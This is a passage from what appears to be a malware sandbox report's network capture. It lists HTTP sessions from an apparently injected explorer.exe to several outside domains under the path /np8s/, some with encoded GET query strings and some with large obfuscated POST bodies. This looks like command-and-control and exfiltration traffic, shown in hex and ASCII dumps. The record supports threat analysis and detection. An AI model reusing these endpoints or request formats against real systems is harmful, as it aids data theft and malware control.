38 67 75 36 75 41 59 4b 64 55 59 41 48 53 51 62 4e 56 52 28 62 5a 30 39 50 4e 56 75 48 73 30 39 7a 44 38 57 63 44 7a 5a 52 72 4e 31 47 55 6d 47 4f 4e 77 4d 69 54 6a 33 35 63 45 71 6f 67 4b 68 39 58 62 72 62 45 4f 6e 46 38 37 46 59 77 67 43 4d 37 69 62 5a 66 4b 48 44 4c 6f 73 7a 6b 57 69 44 43 62 33 66 42 4e 41 42 28 44 36 4a 69 37 6a 46 57 5f 44 61 71 2d 70 6d 54 68 61 31 66 66 62 32 44 51 32 38 71 44 39 6a 57 49 77 6e 7a 75 6e 49 70 7a 6c 58 38 48 71 67 63 77 39 52 4a 67 4b 6a 52 70 64 72 71 61 52 66 58 50 28 4b 64 64 5a 2d 52 4f 79 49 30 71 61 4b 70 49 65 6e 7e 2d 49 48 78 42 4f 5f 35 46 7e 48 41 6c 49 59 41 37 54 32 79 75 5a 76 35 71 63 71 6e 6c 33 76 5a 78 43 6e 72 33 33 67 4c 4a 61 46 43 52 48 4b 53 53 41 46 51 79 39 33 42 33 57 34 57 31 51 41 69 5a 70 56 34 56 54 62 79 55 33 73 73 64 6d 66 6f 58 55 48 77 76 33 56 35 41 65 76 59 4f 63 5f 4b 32 53 79 67 76 6d 77 50 48 4c 6a 56 62 50 55 42 55 67 49 67 36 30 74 34 59 77 68 56 6c 46 37 6b 47 30 33 74 34 46 43 78 43 38 43 47 6f 53 37 4d 70 79 46 4b 6d 39 4f 32 4c 36 51 46 58 52 4b 37 6d 4f 4f 34 47 76 34 68 45 74 76 67 5f 53 56 35 35 51 34 4c 72 32 63 73 36 35 70 7e 45 4d 51 44 4e 73 57 51 4e 32 4d 42 6f 75 35 56 39 7a 76 36 4a 44 52 72 70 42 75 67 64 46 6c 6e 6b 45 4e 33 52 38 6b 73 6b 34 4f 46 5f 43 39 41 6f 49 4b 53 58 61 77 6e 33 62 6a 35 33 34 51 36 54 67 35 59 30 55 34 5a 75 41 4a 61 38 43 32 41 52 31 4f 4b 54 53 6e 32 33 31 73 45 33 56 76 46 45 6f 49 6a 70 66 69 4b 36 76 36 58 4a 76 34 74 36 6c 75 46 6c 44 4b 74 32 4b 4e 4a 43 7e 6d 41 51 45 79 73 51 33 47 61 67 34 57 66 62 7a 72 54 46 72 45 6d 31 4d 50 52 53 75 6b 7e 61 39 46 57 45 35 38 35 71 70 4e 6c 59 43 50 28 37 75 4e 64 6a 63 71 6c 49 39 6c 52 73 52 35 6c 32 6d 72 79 4e 35 77 6a 44 48 45 72 55 48 68 6c 37 71 33 36 72 36 55 74 61 67 56 53 6f 28 36 31 56 30 54 6d 7a 4c 79 53 37 28 41 52 4d 6e 35 32 31 71 53 4d 4a 4e 48 7e 53 34 6a 45 31 64 4e 57 7a 6c 58 62 30 42 33 6b 75 71 31 43 6c 58 72 77 4b 57 57 31 52 45 47 65 66 39 5f 6a 47 4d 35 57 70 67 72 6b 4d 45 4b 7e 37 79 44 6f 46 49 6c 6a 54 6f 30 72 70 41 46 51 41 39 73 34 68 4e 78 28 76 34 61 45 31 6f 68 77 75 54 63 4e 4c 36 6c 39 50 77 32 6a 63 64 6e 71 68 65 70 67 64 31 32 73 47 34 54 6d 32 50 6f 52 47 30 5a 73 68 56 43 58 76 48 6c 71 5a 75 66 79 74 30 33 50 48 32 4d 33 32 77 6d 45 69 70 49 57 6c 34 30 52 37 65 30 64 48 6c 72 6c 73 4f 66 73 54 79 36 54 50 55 65 34 6c 52 49 59 38 64 50 54 6e 74 62 55 64 6d 6b 76 59 56 58 42 45 68 6b 43 62 51 54 30 6c 7a 6a 5a 35 65 49 49 45 53 4c 46 70 6c 63 6e 71 7a 2d 56 6b 4b 4a 76 31 49 46 4c 33 7e 44 70 45 51 59 74 47 76 4d 75 4d 7a 71 68 53 53 7a 75 46 31 67 4e 2d 30 5a 72 4d 6e 43 64 44 7e 33 4e 34 70 42 39 76 7a Data Ascii: zVB=x3boOy1IYXfmX0aURp2NCztrfCflZ8WHNpn6xt7m7jnmRKQf3ThDdvoZct9quygtUNr81ZlIOGIX60ZeiZNPc6yV9KaB6SpA9fXS40Ya01vaE-LsUo3Kzc98vLHdFqz-y8yp2AS0Oa~A0xCT7VRz20(QGRJEO8yBbcWy(c5S6myBdsg-EPc6L3OTwnpvP6k4roSg8_wvMKHLC21-aPr376Eio6h8rI9eEwslUgx3Qw2m3ANGABCFO3QGQa614kokWsVA1Nb4LLiO4-KwYgL_e4fJHtql9w(pvJY5bxGAjnzlcAmmIEZl9uU1MWNIPM4_4xZlmkZugF4YkNqAvP(vqDM87w4HSZPRTJn0P9iP2G7PJXhXMbRGmRkdZJZ-6T52Nk7SyUyZ6-HILTf23vBYDiLIoGwHEw9YNcGdPDr-poGBGbKXowufaGfpWhriYDodMpBwjWylDJrOvoqLCvs9UIw8gu6uAYKdUYAHSQbNVR(bZ09PNVuHs09zD8WcDzZRrN1GUmGONwMiTj35cEqogKh9XbrbEOnF87FYwgCM7ibZfKHDLoszkWiDCb3fBNAB(D6Ji7jFW_Daq-pmTha1ffb2DQ28qD9jWIwnzunIpzlX8Hqgcw9RJgKjRpdrqaRfXP(KddZ-ROyI0qaKpIen~-IHxBO_5F~HAlIYA7T2yuZv5qcqnl3vZxCnr33gLJaFCRHKSSAFQy93B3W4W1QAiZpV4VTbyU3ssdmfoXUHwv3V5AevYOc_K2SygvmwPHLjVbPUBUgIg60t4YwhVlF7kG03t4FCxC8CGoS7MpyFKm9O2L6QFXRK7mOO4Gv4hEtvg_SV55Q4Lr2cs65p~EMQDNsWQN2MBou5V9zv6JDRrpBugdFlnkEN3R8ksk4OF_C9AoIKSXawn3bj534Q6Tg5Y0U4ZuAJa8C2AR1OKTSn231sE3VvFEoIjpfiK6v6XJv4t6luFlDKt2KNJC~mAQEysQ3Gag4WfbzrTFrEm1MPRSuk~a9FWE585qpNlYCP(7uNdjcqlI9lRsR5l2mryN5wjDHErUHhl7q36r6UtagVSo(61V0TmzLyS7(ARMn521qSMJNH~S4jE1dNWzlXb0B3kuq1ClXrwKWW1REGef9_jGM5WpgrkMEK~7yDoFIljTo0rpAFQA9s4hNx(v4aE1ohwuTcNL6l9Pw2jcdnqhepgd12sG4Tm2PoRG0ZshVCXvHlqZufyt03PH2M32wmEipIWl40R7e0dHlrlsOfsTy6TPUe4lRIY8dPTntbUdmkvYVXBEhkCbQT0lzjZ5eIIESLFplcnqz-VkKJv1IFL3~DpEQYtGvMuMzqhSSzuF1gN-0ZrMnCdD~3N4pB9vz0T0ADcRajN96O(SZF8BF3yIvpfdfKQZ3peMBisOdEKw5v90JZil2nonID8puRsHzUIs5UM1a4G6uYuQI7m1B4XKFoCRe_eHPZjBc4vo9CXUCRKSUnQhfbhby1jPxMO-h2MAHWIttZQ30xc3mrJhR8sRPtzNXRjdDLF8ORlL~2QK2mpX7dGiYTxC2aaImW4ioBLh1upisCjeL-uR5Xk3arpoiaJPVHqXywyJVDJIdsRNcgb074ybmCnJyCssc4aUy7EYigJcURwnKVX8oWPFiDSGkKcCp67AxNtNjMunwIzZufcLSF~VqiAIq1xLFe45xmaiKfMm0xYw22CEXgtimusK12pXqOIge_ck1VdyCI1Tpi8UmQNgca7cu6EYIG8cNkvBe7rORYeYltHTl2a1DyvEERLpqvZ2cqMlTQ~NWJFWHzy-6W7tR3t79txNTmNyl1bvEMwSzfmuOtTH03rWwZdOYtiSv55vAEFFjLrneptzI8k2WF79OhiGskAclJibPjxdo-rV2jt3E5wvtzZGo3vDHabCOgaYro3YB_SzCJLv7G9A0Q9SEMCxyAlIGWnAtREgXbpSxY22uF2hSrKZnrnMF1wfQ5040soOKJuuhRZZLO5vOOZNJS8L0no5obCFXCLDH3Su6I7Bils2AoqItJFXYNMmX0CNQkiYH1N0YC9cdGlX2g3K3CPJT-(rTdLvgnAgIJfpLj5XP_zDuRthDzQl6H(Zp8qfT-ZRZuBv(206P5zWTEWFTppbG9eaJLkcJx3RgtHlCajT0ZxW1EVvkOHSsEKq0IdGI7vLl9nszcPt(CU4VSIEzS8XBsIq5zTwy5fl35IU6jNOpLQCGVEKQxfSzIITaaLKWgI-OvGSSM4h2pgHpHHlnYdLNUt2AHOCEn2c7IUqNxVn406-zbQzlmzG8lBEy7ZBCVYnxqovsnXg(gdrFgH8YmwKru8nLunSQrWfDBk1IYCoxKI8SZou7KOE~y4ZRPlji98Sng7B0d2bUigwU4bGnOw29_aSENdd1_d_WDg8mVYCwbBCOlbp3HyNtx7xlkotwe4hQ-vbUSBNe_WSCLgK7cXPWlKl8KGYz978vBONTqqhakof4Bqx6jPiXQFl(opDjRlIzVPW(2WYXIAgonq0ZAO8GnzjZsWyCI203wUnzP2Ni3Gdi8X_qeUsWJa387EuOppn~M(WOp5SU1L-Sr6rYZdkuYNcj_p_9aIPDG8afNqX~hpoC_5VC8hwbSNTrzlwv_f01thCNUTHMq0L6O5Qr5ABGTbIVaGAnhTUJ4vnDll2EpQHxtQEGbiIT27e5MUAdtPo5a8MpZipk68Xs1hQYvMOHIUv5FcarEYLnySVDZTEbzuh4XXQ5wDCwvS4aqZzKN3CbbazNmzU9Azp3XGiYU74(6cTfQS6icT4ijUH8rs-Qfcgv-F_4H(z48ibJNazEX~PVY1O(jD_6OKOdPLRv26UVwUr4fwXExk5QjObZ2J_p32wavviy5b5sGt-ffZOx7xcYpRQApCM7q8t7qigj0REOsUuyt6SU2eWvWJWpCzKjU7EMGzW6zWCuhwsOB5ZV08IjWQHgO5I2Tippf5Qgu9AVpweS3Q4DliLMRh3U2eQ15JfqtY6XjSvWdL_OCJGLVMKRWZI2YGGyZRxfWw3Ui19nIoWwIxFNH2_OfKYLuOz0UgJBuwUOCrQjfsYUC(7umJ6KuJs2186bJBLqMcIoQH2xCGTSFBhOm8Zxzj3w6rh2yH_gPASTicCoqckVCvdHkchGS1S5kfqQ-LYNmARvWofz3kfjJSXh0giGh~9H7PbPmsmFgJco-rcT99jj5sLTR45~aNyR9xSWPeU4zszDbfVK-4fp1~E6fuUkc33zWibhB7cw44IkkfZ6gM_VlSpv9ucKXiwmbXcTVTSwjLJ0ybr5Wp9U4z93lBLSeUyxzziTRZWjl4iKhymiFohApM2E1V00KFHqVoeCdefZkYgmeh_rA3Y5hCYDcWpACjjhUcowBXKaaGlVQk2Q8T1zHnpd9mQH5hYZ-4i4hX2mqiTgEk_0NmmAgjjSH9tGPIn3zjZLbqgHvyMgwkoxgGSV4kH3KyHNgIJs6(cHZDxRS9Yb3dUw-gKVdgUgxxBsDkMWOBuNseUsWk2EGGJbSPcXRNYue59gxqZnRy2Qu0PWKpGuU~PoZ~FlB19Cg3QB874GD(B(tZsLgbH30YYqF19oLDTd7IcFnEZFciHQlH3ZMotXlfA0kppwZkqDJuIw-Y-DHyEkSOZbyvlLJjQefhF8J~k83yhIpk4(OpNnE6SZVfyHXh_~2LUlLJUOUneIaGriT59Zav4DQUwlmeOHqU5QjbBkcjDT0dxVsByplUsdYG6yPx4lxZK~FesLqjOcZoM27c-pID3qWnjoLR9ttzNxbcE6xUPZFd-RfGpocrJL6RrQ6Qt84sIvgXeNR0bzzs8rm71Q_YGUEYGQFJMastAdmlhsgFZRZtu(My38mNMz_jhi2l6o750VNHNtrwq73ZoiNSdgDnI79BdECbCUQTFeyXOowkWHzGu2SBPE7yNei4iRPK-CHIIPm1wvg5wWZefczDTi8qVe_oG3FK8VP2xQMh5EPAlbbaqwW~OGtO1t8RfXYHDOsWuWm3jSigyncpfgMnz(3WWqkZ4Luaz5Gm7yT3bUhW4rX3b9J84LDtOcErvVI1Ly-Q2lAwmOF~e8z9mNdUb4cJgySNQMsK6IJmI(I1NT-0B
May 27, 2022 18:45:06.343297005 CEST	10043	OUT	Data Raw: 74 43 75 7e 36 70 6f 7e 32 6b 4b 63 4d 32 31 66 65 78 4f 53 78 54 57 63 70 61 37 61 71 45 61 44 74 36 62 73 54 63 74 45 33 55 6b 52 51 57 6b 52 70 33 73 59 4e 65 56 50 67 39 42 44 63 52 34 4b 2d 67 42 4f 70 6f 49 32 31 41 41 79 5a 4e 64 35 62 75 Data Ascii: tCu~6po~2kKcM21fexOSxTWcpa7aqEaDt6bsTctE3UkRQWkRp3sYNeVPg9BDcR4K-gBOpoI21AAyZNd5buJ1Hpyq9pg0odL2FO5gJ9CPA5kT9p3aO7G3JLrPA5u(qpDTrrX(Yl2bOAQ39p-hvWdh-0Vp-jW4Nv0Fvb4LNg9ESNGhxtJNrjfGOawOpVx~h(e6f0yHnfFMZmrF9(2DuMDownYouinODAI(r36sb1s5k(hmFwZlEES
May 27, 2022 18:45:06.602683067 CEST	10049	IN	HTTP/1.1 404 Not Found Date: Fri, 27 May 2022 16:45:06 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70 69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.topings33.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49959	162.0.230.89	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:45:08.347321033 CEST	10051	OUT	GET /np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f HTTP/1.1 Host: www.topings33.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:45:08.586493969 CEST	10052	IN	HTTP/1.1 404 Not Found Date: Fri, 27 May 2022 16:45:08 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70 69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.topings33.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49962	170.39.76.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:45:15.510179043 CEST	10076	OUT	POST /np8s/ HTTP/1.1 Host: www.jlbwaterdamagerepairseattle.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.jlbwaterdamagerepairseattle.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 53 39 54 57 7a 6a 54 34 6d 34 78 55 56 49 6a 61 73 47 34 71 30 72 6c 77 6d 4a 77 72 34 4a 34 34 74 39 4d 76 34 4b 57 39 74 39 4e 74 79 31 52 38 31 78 74 34 39 46 58 46 37 45 76 32 70 58 42 30 28 41 74 37 69 4b 36 71 49 56 6d 76 39 73 4d 53 73 6e 41 6f 70 2d 56 39 53 42 76 38 56 6d 62 59 35 51 63 55 28 2d 69 69 4b 52 56 62 47 6c 51 6d 4e 68 38 31 4d 4d 43 69 4e 57 39 79 63 45 66 74 49 6e 7e 31 6a 7a 49 58 69 73 76 52 77 69 42 55 49 35 61 67 4c 73 65 51 42 38 72 6d 32 74 66 31 4e 69 62 63 33 2d 4a 73 33 76 37 70 36 4e 43 2d 4f 33 37 67 69 6f 54 58 5a 53 5a 55 7a 5a 35 4e 75 72 72 74 39 4e 31 73 6d 52 32 7a 49 38 44 31 4b 4d 46 31 6f 44 4b 4a 42 6f 54 76 7e 31 70 57 45 35 37 32 42 6e 58 79 67 69 79 73 53 50 4e 42 54 5f 6b 43 6d 51 55 37 54 7a 79 6d 69 47 4c 79 7a 36 76 2d 77 38 52 5f 69 64 4b 54 6f 4e 36 4d 6f 5f 45 32 33 4c 50 4e 31 62 47 73 58 4d 4e 6b 4f 50 67 57 32 69 6a 6c 70 51 77 2d 6e 50 39 51 36 48 68 72 63 50 77 6f 53 41 71 74 6f 37 62 64 44 71 56 50 35 74 30 49 6b 56 67 31 41 36 48 4d 73 7a 59 6d 55 38 4a 66 30 43 66 38 52 59 6e 76 64 62 6a 78 47 77 72 4b 41 6b 49 7a 6f 6b 41 6f 4c 6d 39 59 49 34 67 5f 4c 79 41 34 76 4f 55 52 39 4f 75 58 44 32 7a 79 53 51 78 4a 46 47 6d 48 73 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=S9TWzjT4m4xUVIjasG4q0rlwmJwr4J44t9Mv4KW9t9Nty1R81xt49FXF7Ev2pXB0(At7iK6qIVmv9sMSsnAop-V9SBv8VmbY5QcU(-iiKRVbGlQmNh81MMCiNW9ycEftIn~1jzIXisvRwiBUI5agLseQB8rm2tf1Nibc3-Js3v7p6NC-O37gioTXZSZUzZ5Nurrt9N1smR2zI8D1KMF1oDKJBoTv~1pWE572BnXygiysSPNBT_kCmQU7TzymiGLyz6v-w8R_idKToN6Mo_E23LPN1bGsXMNkOPgW2ijlpQw-nP9Q6HhrcPwoSAqto7bdDqVP5t0IkVg1A6HMszYmU8Jf0Cf8RYnvdbjxGwrKAkIzokAoLm9YI4g_LyA4vOUR9OuXD2zySQxJFGmHsg).
May 27, 2022 18:45:15.655011892 CEST	10077	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html content-length: 252 content-encoding: gzip vary: Accept-Encoding,User-Agent,User-Agent date: Fri, 27 May 2022 16:45:15 GMT server: LiteSpeed Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 0e 82 40 10 05 fb fb 8a 95 5e 17 0c e5 66 13 61 97 dc 25 27 10 b3 14 f4 5c 42 25 51 e1 ff 0d d2 58 be 99 79 74 92 ae b6 b1 57 f0 76 8f d0 0f 55 0c 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51 db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39 c1 3b bd b6 f4 59 d3 04 c3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 0c 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf 4b a2 59 df f7 7c 1b b3 78 30 14 68 5d e1 ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09 2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 f7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00 00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00 Data Ascii: L@^fa%'\B%QXytWvU5dg aQMe^B,s"<#ETu2_9;Y# )2n%*KY\|x0h]oK#vSX85{n+^40rG?ww

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49862	172.67.140.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:42:34.593461990 CEST	9490	OUT	GET /np8s/?zVB=vppS5AedQQffRlEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+Ix1mc&4hM4=o4B0f HTTP/1.1 Host: www.medyumgalip.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:42:34.640897036 CEST	9491	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 May 2022 16:42:34 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Fri, 27 May 2022 17:42:34 GMT Location: https://www.medyumgalip.com/np8s/?zVB=vppS5AedQQffRlEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+Ix1mc&4hM4=o4B0f Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fw48ievxoX1TNP4potGfsJqls%2BSgiODM13O4U6qIMK3UyMmKNe9z4qmB1t1ELDR8CZ2RRKssOhNl4wc8blylfPf7w0cOAC8Ix%2BxRNQGPtaKW3vPOO%2BAGYiN34YkB5DIrQZy50Kqp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7120345e4ccb88a9-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49963	170.39.76.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:45:15.656387091 CEST	10090	OUT	POST /np8s/ HTTP/1.1 Host: www.jlbwaterdamagerepairseattle.com Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.jlbwaterdamagerepairseattle.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 53 39 54 57 7a 69 75 7a 6f 6f 73 43 62 34 28 35 71 78 6f 2d 67 72 31 49 6c 35 30 30 32 6f 55 6a 37 66 6b 64 32 76 72 50 75 38 6b 77 6a 57 30 65 6a 44 64 67 39 46 48 67 33 57 62 36 34 6e 46 31 28 41 45 71 69 4b 32 71 4a 57 58 6b 7e 4e 63 30 74 46 59 70 72 65 56 46 54 42 75 34 52 6e 47 49 35 54 77 71 28 39 43 79 4b 43 52 62 46 44 63 6d 63 53 6b 45 50 73 43 6b 46 32 74 75 42 30 54 4b 49 6a 62 6f 6a 32 6f 58 69 63 6a 52 28 6a 78 56 41 65 4f 6e 66 73 66 61 58 73 72 37 73 64 6a 4c 4e 6b 48 45 33 5f 31 73 77 64 66 70 36 5a 79 2d 49 41 75 32 70 34 54 65 64 53 5a 54 6c 70 38 54 75 76 4c 70 39 4d 78 38 68 6a 71 7a 4c 73 44 6f 41 37 34 56 35 67 54 4c 53 6f 6e 49 7e 31 74 37 46 74 36 6c 42 6d 4b 68 32 6e 32 35 57 74 56 34 54 39 6f 6b 6b 77 55 6e 63 54 79 39 69 47 4c 43 7a 36 75 64 77 38 4e 5f 69 63 53 54 6e 39 4b 4d 35 74 64 67 31 37 50 55 28 37 47 79 54 4d 77 5f 4f 50 35 39 32 67 58 50 70 41 4d 2d 31 71 68 51 79 44 42 6f 4a 50 78 74 54 41 72 77 31 72 62 6b 44 71 55 69 35 76 64 4e 6b 43 6f 31 41 72 48 4d 76 52 41 6d 54 63 4a 66 78 43 66 69 66 34 71 6b 64 62 37 74 47 77 62 61 41 53 45 7a 6f 31 67 6f 4c 43 70 59 4c 49 67 5f 53 69 42 7a 76 63 39 65 36 39 32 63 4a 56 69 4b 4e 52 70 62 47 31 6a 34 34 46 49 51 28 68 62 42 59 33 70 57 39 42 6b 72 7e 65 78 36 52 4a 69 6f 7a 4e 79 57 36 30 66 67 54 38 41 52 61 72 76 36 76 4b 57 79 67 42 49 31 47 73 34 65 77 45 55 68 4a 52 7a 62 46 49 57 31 64 56 6a 2d 63 6f 64 4a 55 31 6c 42 65 79 70 4e 51 55 39 36 4d 4d 36 33 71 37 6c 4c 73 4c 7e 44 5a 4b 50 30 55 42 44 30 49 61 33 34 79 78 7a 4f 33 75 34 76 54 57 39 52 39 4f 6b 64 33 71 47 66 58 55 74 39 37 2d 53 30 51 57 58 52 38 50 48 6a 45 6b 4c 69 59 62 4d 4b 56 35 69 6c 61 4b 63 56 48 58 49 56 58 58 79 33 53 69 72 33 63 73 57 4c 69 70 70 4e 6e 42 64 69 38 6d 43 31 75 6e 43 49 53 70 54 6c 4f 6e 63 48 48 72 6c 4e 46 63 4c 68 47 51 4b 58 43 67 4f 71 47 63 30 55 4f 72 6d 63 49 65 34 74 56 6e 52 6d 76 59 54 30 66 47 6c 61 77 53 4b 4a 36 67 54 66 34 59 50 48 72 38 7a 71 7a 36 48 44 61 47 41 50 49 65 49 32 68 39 48 4d 44 62 4a 36 4a 31 41 6c 54 32 72 58 57 4f 56 49 72 41 4d 4d 66 48 7e 6d 69 6f 53 6a 36 69 44 4a 51 50 50 36 74 47 79 36 47 58 67 51 7e 2d 57 42 48 45 72 65 30 6b 75 32 4b 6e 4d 44 31 51 47 63 55 69 54 65 78 75 28 49 6a 64 65 56 56 6a 69 58 5a 6c 41 57 61 47 53 42 79 69 4b 4e 6b 33 55 68 72 41 35 73 55 73 7a 66 74 77 47 37 4c 6a 71 41 37 6f 62 4a 6c 44 79 66 46 6d 47 55 4a 75 34 4d 41 33 56 30 39 78 6f 58 6a 6d 33 49 74 47 77 52 59 6a 6f 5a 53 39 34 70 70 46 6d 4a 50 67 7a 61 36 36 59 6e 39 4c 63 70 73 52 64 74 6d 48 6c 51 47 67 41 33 56 79 7a 32 75 79 38 48 4e 39 77 5a 73 58 56 4e 76 55 53 72 7a 37 74 56 63 68 4d 63 39 54 69 47 33 78 72 57 70 55 44 49 44 32 6f 52 47 5a 30 6c 42 38 75 4a 59 63 63 76 74 46 7a 2d 34 48 28 75 72 6c 41 79 78 79 6e 66 7a 38 4b 77 49 49 36 38 58 52 41 7a 6a 41 4a 44 6f 79 6a 43 66 6f 43 67 37 6b 58 4a 41 6d 63 59 38 4d 37 71 64 6e 44 61 68 72 4a 4e 35 30 54 39 58 5f 48 5a 36 59 55 69 4f 34 51 62 49 69 57 68 62 6c 38 48 50 42 28 49 71 54 54 58 4d 59 41 6e 39 45 34 43 62 73 68 76 33 32 33 47 4b 66 31 78 6b 57 44 79 79 4a 7e 62 4b 54 6b 33 34 67 33 72 35 56 55 75 56 46 66 30 45 42 39 5a 31 34 6d 77 62 53 79 37 77 56 71 66 55 77 42 4b 59 33 6d 67 52 54 45 6b 35 70 32 6a 39 30 6d 78 49 79 6c 42 72 72 69 35 59 73 75 62 43 42 77 66 33 4e 4d 35 48 62 33 6a 67 54 73 62 28 34 37 45 79 6c 71 43 61 51 70 6c 53 30 65 5a 69 68 6f 46 63 76 7a 34 7e 31 55 38 6e 6b 43 70 51 73 5a 76 53 75 78 75 48 54 61 5a 32 4c 38 49 59 57 57 4a 64 6e 73 69 28 76 5a 54 76 6f 66 4c 4b 36 57 45 49 77 67 78 33 6c 69 65 66 4a 45 57 64 42 45 6b 54 69 45 73 6a 67 6e 50 7a 48 71 72 6a 33 5a 73 33 30 47 79 4c 46 39 33 78 52 62 49 55 74 51 6e 4e 65 6e 58 55 49 50 48 62 50 7a 37 6e 7a 4d 6b 70 4b 34 51 45 46 78 76 61 6a 43 42 64 5a 32 56 4e 64 4a 33 4f 73 52 54 77 48 6b 76 30 5f 4e 64 33 77 4c 69 61 71 6a 38 74 78 54 7a 4b 4a 28 4d 55 